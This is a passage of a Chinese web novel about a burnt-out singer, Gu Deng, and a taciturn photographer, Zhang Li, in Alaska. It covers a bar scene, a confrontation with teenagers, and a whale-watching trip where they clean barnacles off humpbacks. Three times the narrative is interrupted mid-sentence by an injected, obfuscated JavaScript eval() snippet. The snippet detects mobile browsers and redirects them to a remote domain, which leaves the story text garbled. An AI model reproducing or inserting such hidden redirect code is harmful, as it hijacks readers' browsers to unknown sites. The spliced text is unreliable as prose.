“你记录驯鹿的迁徙路线，有什么意义吗？”顾灯抬头盯着章离，死气沉沉的眼中突然冒出一股狠劲儿，“就算你记录下来，你又能改变现状，阻止这一切的发生吗？” 这几乎就是故意找茬，但凡换个脾气大的人，现在估计已经和顾灯吵起来了。 可章离却垂下眼眸，认真思考起来。 “我也不知道，”章离说，“或许不能吧，所以我才想记录。” 顾灯只是在发脾气，章离却认真地和他讨论起意义。 顾灯突然就说不下去了，他张了张嘴，低下头把脸埋进掌心：“抱歉，我刚才……” 明明章离什么错都没有，他却不分青红皂白地挑衅，让对方承受自己的糟糕情绪。 章离摇头说没事，顾灯却没有收回视线。 他注视着章离，模糊中察觉章离身上有一种罕见的包容能力。他不侃侃而谈，但他知道许多事情，也能处理棘手的问题。他话少，但并不冷漠，既不打探隐私，也不交浅言深。和他相处时，顾灯有一种被理解的感觉。 顾灯又说了声对不起，然后端着水杯去了离章离最远的桌子。 史密斯端着一大盘烤肉肠和烟熏三文鱼过来，见顾灯找了张最角落的桌子，好奇：“他怎么坐那边了？” 章离抬头望去，顾灯伸手拉低帽檐，仿佛要彻底和他们划清界限。 “要不要叫他过来吃东西？”史密斯又问。 “不用。” “那我给他送一份过去？” “也不用。” 以顾灯现在的状态，估计也不愿意在这里吃东西。 顾灯确实吃不下，他甚至不想再多看章离一眼。他不喜欢和章离这样的人待在一起，这些人高能量、高效率，像个战士一样目标明确，衬得他越发阴暗，爬行。 顾灯仰头把水喝完，在杯下压了两张现金准备离开。面前却突然坐下一个人：“不好意思，请问您是顾灯吗？” 一个非常漂亮的女孩儿，年轻，礼貌，生机勃勃。 “不是，”顾灯说，“我是顾灯哥哥顾火。” “啊？”女孩儿有些恍神，“真的啊？” “假的，”顾灯笑了起来，说，“你想签名还是合影？两个都要也行。” “啊啊啊啊啊，那我两个都要！”女生手忙脚乱打开前置摄像机，挨着顾灯拍了张合影。 拍完照片，又开始翻自己手提包，可惜翻了个底朝天也没找到一张纸。 顾灯拿过一张乐队海报，问：“签在这里可以吗？” “可以可以，”女生连连点头，“可以写送给珊珊吗？” “哪个珊？” “珊瑚的珊。” 顾灯写下，还在后面画了个笑脸表情。 女生兴奋得坐立不安，立刻拍照片想和朋友分享，发出去前又迟疑道：“对了，我看到你之前的微博了……那你现在在这里，是不是要替你保密？” 顾灯：“可以的话，谢谢你。” “当然可以，您别这么客气。”女生立刻按下息屏键，又说，“我回国后再发，保证不会透露您一丁点儿行踪！” “嗯，谢谢你。” 女生捂着手机坐了一会儿，没忍住又问：“您是真的要退隐了吗？” 顾灯没有回答。 女生还想再问，手机却响了起来，电话接通，她和顾灯道别，急匆匆跑了出去。 顾灯也起身和阿里道别，又把棒球帽还给章离，戴上冲锋衣帽子离开酒吧。 室外空气寒冷，街角，几个青少年把两个女生围在中间，其中一个女生刚找顾灯要过签名。 顾灯把冲锋衣拉链拉到顶，走到人群中央：“怎么回事？” 一个男生抬头瞪他，语气很冲：“滚开，没你的事。” 女生露出祈求的神情。 顾灯看着女生，语气不耐：“你还来不来了？大家都在等你。” 女生会意，立刻点头：“我们马上跟你过去！” 她朋友一脸懵逼，女生缓缓摇头，拉着她躲到了顾灯身后。 顾灯侧身让二人先走，确定那群青少年没跟过来，这才转身进了酒。 “太谢谢您了，”女生率先开口，“那些人逼着我们买大-麻，还好遇到了您。” 顾灯：“国外治安不比国内，你们出门注意安全。” 两个女生连连点头，又是一番道谢。 顾灯转身离开，走到门口时长发女生追来，往他掌心塞了张纸条，让他一定要看。 酒吧灯光昏暗，顾灯捏着纸条回到车上，打开—— [不知道你遇到了什么事情，但无论如何，小夜灯都会一直支持你的！就算不做音乐也没关系，保重身体，别给自己太大压力！] 小夜灯是他粉丝的自称，每次演唱会都有无数小夜灯连成星海。顾灯最喜欢关灯时，歌迷和他一起清唱的环节。 那种感觉像是置身黑暗的宇宙里，他独自站在台上，看着星光一点点亮起，每一颗星星背后，都是一颗热烈跳动的心。 顾灯喜欢演唱会，喜欢和歌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15463571|169754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迷面对面实现情感连接。对他来说，演唱会是一件很浪漫的事情，原本素不相识的几万人，却因为一次演唱会产生共鸣，在短暂的三小时内，体会同样的悲伤和快乐。 状态最好的时候，顾灯曾一年内举办了近100场演唱会。他的演唱会不仅场次多，而且质量也高，是公认的行业标杆。 同行让他别卷了，也有小夜灯担心顾灯被经纪公司压榨，提早透支自己。但后来他们发现，顾灯是真的在享受，他没有被逼迫，只是真心喜欢而已。最兴奋的一次，顾灯即兴演出长达2个小时，回应了粉丝的每一句安可。 这次演唱会大受好评，但也造成了一系列后续影响，地铁延期不说，也给安保带来了巨大压力，顾灯本人更是体力透支高烧不退。经纪人在他耳边念叨了好几天，明令禁止顾灯以后私自加时。 但那时候是真的开心，他喜欢音乐，喜欢创作，喜欢和小夜灯们面对面。只有这些时，他才觉得自己是鲜活的，正在活着。 可不知从什么时候，这种感觉逐渐变得遥远起来，歌迷依旧对他有所期待，可顾灯却几乎已经回想不起来当时的感觉。于是他开始逃避，甚至刻意不去想当初的场景。 他已经四年没有产出任何作品，以为大家早已经把他忘记，直到他又遇见了自己歌迷…… 短短一行字，顾灯反复看了好几遍。然后他收起纸条，去吧台顺了两个啤酒瓶踹兜里，又从车上拿出口罩戴上，尾随那群青少年进了小巷。 说是一群，其实也就只有四个人而已，一个个身材纤细，神情萎靡，毛都没长齐就开始胡作非为。 “早知道就不和她们废话这么久，那两个中国佬这么有钱，背的都是爱马仕，我看根本用不着卖东西，直接抢包就行。” “你说得有道理，不然我们回去试试？” 咕咚咕咚…… 玻璃酒瓶滚进小巷，身后跟着一个穿冲锋衣的男人。 “干什么？”其中一个男生站起来，气势汹汹朝男人走去。 顾灯掏出啤酒瓶—— 两分钟后，四个少年逃出小巷，嘴里一阵骂骂咧咧。 顾灯把啤酒瓶扔进垃圾桶，又觉得非常没劲。 没意思透了，顾灯站在异国他乡的陌生街道，突然被一股巨大的怆然击中了。 他抛下一切来到阿拉斯加，看了鲸鱼，去了北极，也曾目睹极光在夜空闪烁——他获得了绝对的自由。 可为什么，他依旧不快乐？ 顾灯回到停车位，车旁多了个熟悉的身影。章离穿着黑色冲锋衣，安静地站在那里。 顾灯绕过章离上车，后者伸手抵住车门：“你喝酒了，不能开车。” “你都看见了？”顾灯答非所问。 “看见了。”章离说。 “看见了还不走，不怕我也揍你？” “你先下车。” 顾灯懒得和他争论，妥协道：“我叫代驾，行了吧？” 他刚掏个手机的功夫，章离已经坐进了驾驶席。 顾灯：“喂！” “你去哪儿？”章离一边系安全带，一边回头看他，“我送你过去。” 顾灯翻了个白眼，不情愿地坐进副驾驶，又恢复了那种恹恹的神情。他单手靠着车窗，把脸转到窗外说：“不知道，你随便开就行。” 章离：“说个地名。” “我说了你随便开就行。”顾灯语气冷硬，已经快要失去耐心。 可章离又问：“那你现在想做什么？” “你是听不懂人话吗？”顾灯坐起身体，提高了声音，“我让你随便开，不开就给我滚下去！” 章离没再说话，可他也没有开车。 顾灯伸手开门，门纹丝不动，章离竟然落了锁。 顾灯把自己扔回座椅，用冲锋衣帽子盖住眼睛说：“滚。” 邻座一动不动，顾灯耐心全失，他一把抓住男人衣领，几乎是凶狠地问：“章离，你究竟想干什么？” 戏弄他，曝光他，看他笑话？ 顾灯做好了最坏准备，可当他低下头，却看见了一双清澈的眼睛。 顾灯见过太多各式各样的眼睛，可从来没有一双像章离这样单纯。这种单纯不是小孩儿未经世事的懵懂，章离的单纯是野性的直白，就像是荒野上的动物——坦荡，直白又纯粹。 只一眼顾灯就明白过来，自己刚才那些揣摩根本毫无依据。这个人就是想知道他要去哪里，而他要开车送他过去，仅此而已。 别人好心帮忙，顾灯本该就此作罢，老老实实报出一个酒店地址。可他心中却升起了一股恶劣的报复心理，谁让他要当圣母，谁让他多管闲事？ 顾灯：“我去哪儿你都会送我过去？” 章离：“是。” “那我要去看鲸鱼，”顾灯说，“那种游在大海里，没被寄生的，自由自在的鲸鱼。” 4. 出海观鲸 顾灯提了个荒唐的需求，等着章离知难而退，可过了很久章离都没有开口。 顾灯又心软下来，正要说算了，章离突然说：“好。” “好什么？”顾灯有些没反应过来。或者说他其实理解了，但因为太离奇，不敢相信这是真的。 章离又说：“看鲸鱼。” “不信，除非你带我去看。” “好。” 但直到现在，顾灯都不相信章离的说辞，他只是怀着一种“我倒要看看你究竟要做什么”的心态，想要戳穿章离的把戏。 夜晚的城市很安静，他们一直往南开向东南部沿海。夜间光线微弱，路上还有未化的积雪，但章离开车很稳，顾灯睡不着，只侧过脸看远处的路灯。 顾灯不想说话，章离也很沉默，两个刚认识的人，冲动地在阿拉斯加开夜车，给人的感觉挺奇怪。 但顾灯已经摆烂，章离又沉默得仿佛能包容一切怪东西，竟然谁都没觉得这件事有多荒唐，或者说神奇。 轿车一路向南，快天亮时顾灯终于睡了一会儿。再次睁眼已是晨光熹微，道路蜿蜒，峡湾被晨雾笼罩，翠绿的山峦下是碧绿的大海。 阿拉斯加半岛地处高纬地区，但得益于阿拉斯加暖流经过，南部地区有少量温带海洋性气候，常年温暖湿润，呈现出了和北部截然不同的风景。 轿车经过蜿蜒幽静的河湾，缓缓驶入小镇，最后停在了一个小型港口旁。港口停泊着各种型号的小型船只，岸边森林碧绿，远处是莹白的雪山，一栋红色房子笼罩在晨雾中，宁静悠远，像是童话世界里的场景。 顾灯打开车窗，深深吸了一口气。 章离下车走向红房子，和里面的一个老人交谈起来。顾灯看了眼导航上的定位，小镇名字很陌生，几乎从未出现在旅行攻略里。 没过多久，章离拿了把钥匙回来，说：“走吧。” 直到现在顾灯才终于意识到，章离不是死鸭子嘴硬，他是来真的——他真的要带自己去看鲸鱼。 顾灯无端感觉一阵慌乱，他看了眼他手里的钥匙，故作镇定：“你还兼职做导游？” 章离：“你是第一单。” 顾灯：“你知道鲸鱼在哪里？” 章离：“不确定，但可以去看看。” 顾灯沉默了下来。 小镇里安静极了，这种沉默便造就了更大的静谧，就仿佛周围的群山和大海向他涌来，让顾灯有一种被自然淹没的错觉。 再次回神，是听见了海鸥的叫声。 顾灯掏出手机说：“怎么收费？我先转给你。” 章离：“不用。” “不行，你得收。”顾灯态度坚决，“谁知道你是带我去看鲸鱼，还是要卖器官？” “不会卖你器官，”章离说，“你整人卖更贵。” 顾灯：“……” 他懒得和章离掰扯，干脆直接坐在了路边的长椅。阳光明媚，峡湾宁静悠远，顾灯闭上眼，有橙色的光影在眼皮上跳动。 但章离并未放过他，而是继续刚才的话题，又说：“报酬我已经拿到了。” 顾灯睁开眼睛。 章离拿出手机，里面传出一段陌生的旋律，是顾灯在道尔顿公路上写的曲子。 顾灯经常在轻躁狂时写东西，那时的他灵感爆棚，信心大增，会不吃不喝泡在录音棚一整天，觉得自己创作出了前所未有的优秀作品。可等他第二天起床一看，又会愤怒地撕碎手稿，把这些作品当做垃圾。 起初经纪人还会从垃圾桶里捡手稿，可顾灯死活不愿意让这部分稿子见光，甚至和经纪人吵了好几次。次数多了，经纪人也就随他去了。 可顾灯万万没想到，他这次竟然把一个半成品送了出去。 “你别放！”仿佛看见洪水猛兽一般，顾灯立刻捂着耳朵说，“别让我听见这个东西！” 章离有些意外，但还是关闭了音频。 空中弥漫着尴尬的气息，过了好一会儿，顾灯才松开双手，说：“抱歉，我不能听这个。” “好，”章离说，“我不放了。” 顾灯点点头，又沉默了下来。 海鸥声大了起来，然后是风声，海浪声。空中传来嘤鸣，一只白头海雕从树枝滑向海面捕猎。 “算了，回去吧。”顾灯站起身说，“我之前就是随口一说，也不是很想去看鲸鱼。抱歉耽误你的时间了，地陪费用我给你。” 顾灯抽出现金递过来，章离挡了下，说：“可以再考虑一下吗？” 他的眼神深邃又认真，被他注视时，会让人产生一种无所遁形感觉。 顾灯一把甩开章离手臂，冷着脸说：“我不去。” 章离又说：“这里可以看见你想看的鲸鱼。” 顾灯脑海中又浮现出了那幕熟悉的场景，他看过太多遍，甚至已经可以完美的复刻每一帧画面——粉紫色的天空，浓稠的海水，黄金一样的水花，自在游弋的鲸鱼。 曾经的他光是想象这些画面，就会感到开心。可现在……连他最喜欢的风景也无法激起他的情绪。 “章离，你放过我好不好？”顾灯半蹲下身，几乎快要哀求起来，“我真的不想去。” 他不敢去，他害怕自己看完鲸鱼还不满意，害怕自己见到了梦寐以求的风景，却依旧无法变得开心。 顾灯的样子太可怜了，像是被什么无形的东西抓住，缠上，无法脱身。 章离终于放弃，后退一步说：“好，那不去了。” 似乎没想到妥协来得这么容易，顾灯震惊地抬起头，眼眶微红。 “抱歉，”章离组织着语言，“我没有强迫你的意思，带你过来只是希望你能开心。” 顾灯吸了吸鼻子，有些内疚：“对不起。” 章离摇头，说：“先在这里休息一下吧，其他的问题以后再说。” 顾灯点点头，同意了这个提议。 他现在的状况不适合开车，章离通宵赶路，他自然也不好意思让人家立刻把车开回去。 那栋红色房子是码头管理员的住址，也当做民宿出租。 顾灯和章离各自住了一间，顾灯的房间在二楼，窗户正对大海，能听见海鸥的叫声。 顾灯和衣躺上床，他原本只想休息，可小镇太安静了，阳光从窗户斜斜洒进来，有一种小时候在老家午睡的感觉。顾灯看着这一片光晕，渐渐合上了眼睛。 再次醒来已是下午，顾灯下楼时，房东大叔告诉他午餐在厨房，章离出海了，但可以通过卫星电话联系。 顾灯自行解决了午饭，结果又困了起来。但这次他不想再回房间，而是坐在码头长椅上晒太阳。 突然间，一只白头海雕飞到帆船桅杆顶部，发出一阵嘤嘤的叫声。顾灯有点儿想笑，这鸟长得威风凛凛，叫声却这么娇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15463572|169754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气。 顾灯上楼拿录音设备，下来时却发现白头海雕已经飞走。算了，本来就是一时兴起，录不到也没关系。顾灯转身离开，结果又听见了一阵嘤嘤声。 他用望远镜找了半天，才发现这只鸟飞到了旁边的一个小岛上。距离不算远，海面也很平静，顾灯询问码头大叔有没有办法过去。 “有啊，”大叔往旁边一指，“浆板、橡皮艇、皮划艇都能过去。” 顾灯租了个皮划艇，穿上救生衣，带上gps定位器，朝着小岛划去。 为了缓解病情，他之前尝试过许多运动类型，因为医生说运动可以改善心情。顾灯确实承认，运动分泌的内啡肽和多巴胺，曾经让他变得健康有力，但最终，这也只是延缓病情而已。 顾灯划到白头海雕旁边录音，紧接着，他又被别的声音吸引了。岛上物种丰富，有许多他不认识的动物。等他录音告一段落，才发现陆地已经被他远远抛在身后。 而他面前是蜿蜒的峡湾，海水平静，在阳光下呈现出浓稠的质地。顾灯回头看了眼陆地的方向，决定继续往前滑去。 小岛星罗棋布地分散在海面，乍一看和千岛湖没什么区别。顾灯朝着远方的海面划去，接连把一众小岛抛到身后，当他手臂开始酸软时，终于来到了一片辽阔的海域。 天空蔚蓝，海水碧绿，远处有一片洁白的冰川没入大海，浮冰四散。 顾灯继续朝着冰川划去，外海风浪大了一些，但靠近浮冰海域又平静了下来。太阳把浮冰照得晶莹剔透，顾灯陆续穿过散落的浮冰，冰川离得更近了。两片纯白的冰墙以V字形延伸至陆地，庞大、纯净又剔透，顾灯尝试打开手机，却发现手机完全拍不出这种震撼的感觉。 继续往里滑行，他看见一艘红色橡皮艇停泊在冰川下，空无一人。 被遗弃的船？还是主人出事了？顾灯正要过去查看，海底突然传来一声鲸鸣。 顾灯突然停了下来，有些害怕，又有些期待地愣在那里。他在原地呆了一分多钟，继续朝无人小船前进。 鲸鸣声变得更大了，海底出现模糊的深灰色阴影，带着海面也轻微晃动起来。顾灯赶紧划到小船旁边，海面突然咕嘟咕嘟冒泡，章离穿着潜水服钻出海面，旁边是一头仰躺着的鲸鱼。 顾灯之前看见的鲸鱼都是在游来游去，要么就是鲸跃，它们一直保持着运动，不会让人类太过靠近。可这头鲸鱼却不一样，它安静地翻着肚皮，像人仰漂一样，完全露出了下巴和腹部。 这情景着实有些诡异，顾灯愣了好一会儿才开口：“你们在干什么？” 这个们字用得有些不妥，但章离却没有纠正顾灯，而是把手背到身后，说：“没什么。” 这态度，看起来更奇怪了。 顾灯又看了眼海里的鲸鱼，是这片海域常见座头鲸，因为体型庞大游速相对缓慢，所以容易被藤壶寄生。幸运的座头鲸只被寄生下巴，倒霉的那些就惨了，浑身上下都被入侵，连鱼鳍都没法儿逃过。 可这只座头鲸却干干净净的，下巴又白又软，只有零星一两个黑点。 章离看了眼这个黑点，眼疾手快一把薅下，又迅速把手背到身后，仿佛什么都没有做过的样子。 顾灯看了看鲸鱼，又看了眼章离，难以置信：“你在给鲸鱼抠藤壶？” 章离自有一套逻辑：“抠掉就没有了。” 顾灯：“……” 5. 动物一样 顾灯一时哑口无言，又觉得章离这套逻辑实在是无懈可击。 “你要试试吗？”章离又问。 顾灯还是觉得有些恶心，但又确实有点儿被吸引了，迟疑道：“这只鲸鱼已经被你弄干净了吧。” “还有只小的。”章离说完潜进水底，又领了只小座头鲸上来。 说是幼崽，但也有橡皮艇那么长，而且性格比成年鲸鱼活泼，一上来就到处喷水，把顾灯衣服都弄湿了。但怎么说呢，没人会讨厌这种调皮。 顾灯抹了把脸，弯腰给鲸鱼抠藤壶。这玩意儿确实恶心，但抠起来还挺爽的，非常解压。 抠完脑袋还有下巴，可小鲸鱼依旧脑袋朝上，顾灯不知道该怎么办，只得抬头喊：“章离。” 后者会意，伸手拍了下鲸鱼脑袋，鲸鱼就乖巧地翻身，朝顾灯露出了肚皮。 顾灯不可思议地抬起头：“它怎么这么听你的话？你认识它们？” “算认识，”章离说，“4年前我在这里划船落水，这只座头鲸用鱼鳍把我送回了船上。自那以后，我每年都能在这里碰到它。” 顾灯睁大眼睛，难以想象鲸鱼竟然有这么深厚的记忆。同时也忍不住羡慕起来，人和鲸鱼竟然可以建立起这样神奇的联系。 听完这个故事，顾灯抠藤壶的动作都认真了起来。抠了一会儿他嫌手软，又招呼章离一起，两人合力，终于清理完了整只鲸鱼。 当顾灯抠下最后一只藤壶时，鲸鱼仿佛也知道似的，尾巴一甩就游开了。顾灯还来不及失落，小鲸鱼又游了回来，一边围着船转圈圈，一边发出嘤嘤嘤的声音。 近距离听鲸鸣更是震撼，顾灯迅速录了段声音，可没想到他收起录音设备，小鲸鱼还在叫。 顾灯有些不放心，抬头问章离：“它怎么一直响啊？” 章离表情很放松，但并没有回答他的问题。 顾灯还没想出原因，座头鲸又不停地把脑袋拱出水面，像猫脑袋一样拱来拱去。 顾灯又问：“它怎么一直拱水？” 章离还是不回答。 顾灯都要生气了，结果又看到小鲸鱼在水里挥动鱼鳍，很着急的样子。 顾灯是真急了，一把抓住章离胳膊：“你快看看，它怎么一直动来动去？该不会我抠藤壶时弄伤它了吧？” 章离这下是真笑了。 顾灯有些意外，这人平时看着凶巴巴的，但笑容却意外地爽朗，有很强的感染力。 “章离！”可惜顾灯无暇欣赏美色，语气反而更凶了。 “还看不出来吗？”章离笑着说，“它是在邀请你。” 顾灯：“啊？” 什么意思？鲸鱼折腾了这么半天，结果是求人撸？顾灯试探着伸出右手，快要碰到鲸鱼时又抬头问章离：“真的可以摸吗？” 章离：“你再晚一秒摸它，它就要自闭了。” 顾灯一咬牙，把手放了下去。 这种感觉很神奇，鲸鱼皮摸起来湿湿滑滑的，但又有些粗糙，比想象中硬。顾灯一下就迷上了这种感觉，撸完脑袋又撸下巴，一只手撸不过瘾，干脆双手左右开弓。鲸鱼叫声更大了，鼻子吭哧吭哧地喷着水，很兴奋的样子。 直到鲸鱼离开，顾灯才依依不舍地直起身体，他低头看了眼双手，又翻手把掌心展示给章离，掩饰不住语气的兴奋：“我摸到鲸鱼了，好神奇！” 章离正要开口，却突然脸色一变。下一刻，海面突然一阵翻滚。 顾灯还没反应过来是怎么回事，章离迅速游到他身边，双手扶住橡皮艇，同时交代：“坐稳。” 根本没有顾灯反应的机会，章离话音刚落，海面就冒起了烧开水那样的大泡泡。顾灯只感觉身下传来一股巨大的推力，随即一阵天旋地转——噗通！他整个人都被掀翻在了海里。 最初的喧嚣过去，入水后其实是非常安静的。再加上顾灯本来就会游泳，屏住呼吸后，就坠入了一片深蓝的寂静里。 但和一般的海底不同，因为这里有冰。浮冰像小岛一样飘在海面，不知哪里传来冰裂声，然后座头鲸发出鲸鸣。真的太漂亮了，顾灯一下就爱上了这里。 就是太冷了，他的衣服也不方便行动。顾灯正要上浮，章离从远处游来，托着他身体往上。 二人哗啦一声钻出水面，顾灯对上章离焦急的表情。 “没事吧？” “没事儿，我会游泳。” 章离表情稍缓，托着顾灯上了橡皮艇。 顾灯脱掉湿漉漉的外套，问章离：“怎么回事？” 章离面露尴尬，过了好一会儿才说：“它想和我们玩，结果没轻没重的。” 顾灯愣了下，简直哭笑不得，什么鱼啊这是？ 不过他也没生气，又伸手摸了摸小座头鲸的脑袋。小鲸鱼又开始喷水，看这架势还想再来一遍，被章离冷漠地赶走了。母子返回族群，在海面喷出两条水柱，画出两道淡淡的彩虹。 船上，顾灯正低头脱衣服，硬壳，羽绒，抓绒……最后只剩下一套紧身压缩衣。 章离从橡皮艇里拿过一个防水袋，让他把衣服换上。 运动产品速干，再加上今天大太阳，其实没有很冷，顾灯拒绝了章离的好意。可惜不管他如何推辞，章离都不松口。 穿不穿衣服都是小事，顾灯没太放在心里，只是说：“我也不是故意要和你客气，我就是怕你感冒了。” “没事，”章离说，“我的潜水服是半干衣，保暖性很好。” 顾灯便没再客气，低头打开了防水袋。 章离的装备很齐全，从外套、加绒到打底，甚至连袜子和内裤都有。顾灯犹豫了一会儿，最终还是没有穿章离的内裤。 早在他打开防水袋时章离就转过了身，顾灯穿上章离的衣服，直接大了两个号。他其实不矮，也就比章离低了半个头。但章离骨架比他大，肌肉也多，背对他坐着时肩宽腰细，哪怕厚重的湿衣也挡不住鼓囊的肌肉。 顾灯有些羡慕，他当年也有腹肌出圈神图，可惜生病后体能越来越差，现在只剩下薄薄一层肌肉了。 但现在想这些也没用，不过是自怨自艾。顾灯把湿衣服塞进袋子里，说：“我换好了。” 章离转过身来，连胸肌也很大，顾灯更羡慕了。 或许是他眼神太直白，章离表情变得有些奇怪。 顾灯轻咳一声，说：“你身材真好，怎么练的？” 他本来只是转移话题，没想到章离真说了一连串训练计划。训练量之多，进食量之大，远超常人。 见顾灯表情震惊，章离又解释，倒不是他痴迷健身，只是最近恰好临近他出发前，体能和体重都达到了最高峰。 每次外出拍摄前，章离都会尽可能增肌、增重，进行耐力训练。 他的拍摄多在无人区，少则半个月，多则几个月，虽然有少量补给点，但露营设备和摄影器材都要他自己背进去。动辄二三十公斤的行李，没点儿体力压根儿承受不了。 大体重背负的重量也更多，章离身高189cm，状态最好的时候，他体重能增到85kg。这个体重听起来很吓人，但身上其实一点儿赘肉没有，都是硬邦邦的肌肉。进山时他会尽可能增重，出来时往往会瘦10kg不止。 “就像动物一样。”顾灯说。 章离没有说话，但看表情，他似乎并不排斥这个形容。 今天经历的事情太多了，回去的路上，顾灯感觉有点儿兴奋。 他之前一直觉得自己和世界隔了一层，就像是在玻璃罩里看世界，不管看什么都是雾蒙蒙的，就算亲身经历了也没有什么真实感。可当他摸到鲸鱼时，突然觉得世界变得清晰起来。顾灯莫名想说点儿什么，他已经很久没有这么强烈的表达欲了。 他看了眼章离，有些犹豫要不要开口。对着刚认识的人说人生感悟，怪冒昧的。 “怎么了？”章离问。 顾灯还在犹豫，按理说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15463573|169754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，顾灯这样的公众人物，是不可能对刚认识几天的人吐露心声的，可章离就是有这种能力。 或许是常年在野外活动，章离身上有一种罕见的真实感。这种真实感不是说他性格鲜明，情绪外露，就像一些人喜欢用力大笑、擅长做出夸张表情，或者第一次见面就拉着你的手喊你亲爱的。 相反，章离看起来挺平淡的，可这种平淡平等地包容着所有人，让人觉得他很真。想到这里，顾灯终于找到了一个准确的形容词——真诚。 真奇怪，他竟然在这个寡言少语、略显沉默的陌生男人身上找回了倾诉欲。或许正因为是陌生人，所以才更愿意吐露心声。 顾灯告诉章离：“我是一个很追求价值的人，觉得做一件事必须要有意义。如果我找不到这件事的意义，我就没法儿说服自己继续做下去。” 他写歌，是因为创作赋予了他价值。他来阿拉斯加看鲸鱼，是想从中获得某种治愈。所以他看见长满藤壶的座头鲸后崩溃了，觉得自己受到了欺骗，觉得这一切都没有意义。 “可是……”顾灯抬头看向夕阳，莫名有些鼻头发酸，“可奇怪的是，我现在竟然会因为一些无意义的事情感到开心。” 他缩在章离宽大的冲锋衣里，皮肤白得几乎透明。他明明在笑，却露出了自己都不曾察觉到的脆弱气息。 章离说：“我们来玩个游戏怎么样？我问你答。” 顾灯：“但我不一定会回答哦。” “可以。” 顾灯现在比较好说话，便同意了这个有些突兀的提议。 他们一起划到冰川那边去，顾灯停在硕大的冰川下，听见章离问他：“你觉得冰川是什么？” 怎么还要考他地理题？别人问这个问题，顾灯压根儿不会回答，说不定还会在心里把这个人骂一顿。可问这个问题的是章离…… 顾灯不觉得章离是这种无聊的人，他试着调动大脑储备的知识，说：“冰川应该是不会融化的冰体，主要出现在高纬度和高海拔地区。占地面积很大，但因为全球变暖，消融趋势加剧。” 章离又说：“你凑近看看。” 顾灯靠近冰川。 章离：“你看见了什么？” “冰？”顾灯说完觉得这个回答太简单了，又补充道，“白的，不过有些地方是蓝色。” 章离：“摸摸看，有什么感觉？” “冰……？冷的。”顾灯有些没底气，这问题也太简单了。 章离：“你能听见什么？” 顾灯听了一会儿，说：“好像有碎裂的声音。” 章离：“它们是静止的吗？” “是吧，”顾灯犹豫了一会儿，又说，“好像在很慢的移动。” “好，我的问题结束了。”章离说，“接下来换你。” 这就结束了？顾灯被章离搞得一头雾水，最初他还以为章离要问他隐私，譬如问他为什么要退隐，或者为什么要独自来阿拉斯加，为什么害怕听自己写的歌，再不济也得问他为什么不敢看鲸鱼。 没想到竟然说了半天的冰川？ “这些问题有什么意义吗？”顾灯又开始寻找那该死的意义。 “没什么，只是想让你近距离看看冰川。” “……？” 顾灯更迷惑了，他又不是没看过。可看章离的表情，也不像是戏弄他的样子。顾灯想不出答案，也不想继续纠结这些事情，否则会显得他很没魄力。 “好，那换我问了啊，”顾灯抬头看向章离，“你为什么要带我来看鲸鱼？” 话音落下，空气中出现了短暂的沉默。过了一会儿，章离才回答：“因为你送了我那首曲子。” 又是这个原因，顾灯此时已经没那么抗拒谈论这首曲子，只是觉得不好意思：“不过是一首半成品……” “但我很喜欢，”章离看着顾灯，露出他特有的直白而真诚的表情，“我觉得这首曲子很好听，哪怕它只是半成品。” 6. 生死边缘 顾灯更不好意思了，他给许多人写过歌，外婆、姨妈姨父哥哥、工作室团队、甚至连经纪人的猫都收到过。 那时的他才思敏捷，各种灵感信手拈来，肆意地浪费着天赋。而当他真正想写一首歌送给别人时，却什么都写不出来了。 顾灯捂住脸，突然感觉有点儿崩溃。 可这种崩溃很短，顾灯就抬起头说：“朋友一场，总不能让你吃亏，我再给你点儿别的报酬吧。” “不用，”章离说，“这样就够了。” 接下来无论顾灯说什么，章离都不改口。回到民宿，顾灯心想，不然就把曲子写完再送给他吧。他觉得自己状态还可以，说不定可以写出点儿什么。 顾灯挑灯夜战，一无所获。 中午时他和章离在餐厅碰面，原计划是下午返程，可顾灯却突然说不走了。 章离从满满当当的鱼和肉中抬起头：“你还有事？” 顾灯：“想在这里多待几天。” 章离：“要我留下来吗？” “不用，我自己就行，”顾灯说，“而且我记得你要去拍驯鹿吧？” 章离点头，没再说话，把餐盘里的肉全吃了。顾灯心不在焉地用刀切香煎三文鱼，分量估计只有章离盘里的十分之一，他都拖拖拉拉费了好半天才吃进去。 镇上没有租车点，午饭结束，顾灯让章离把车开回去。又说等他玩够了，他会自己想办法离开。 “我已经找到车去西沃德，”章离说，“这边你不熟悉，车你留着用。” 顾灯说：“哦。” 虽然他已经用不上车了。 随后顾灯陪章离在外面等车，今天风很大，把他头发吹得乱七八糟。顾灯眯起眼睛，抬头看向章离。却没想到章离也在看他，四目相对，顾灯有些恍神。 章离倒是一脸坦然，问：“你接下来还有安排吗？” 顾灯：“没了。” 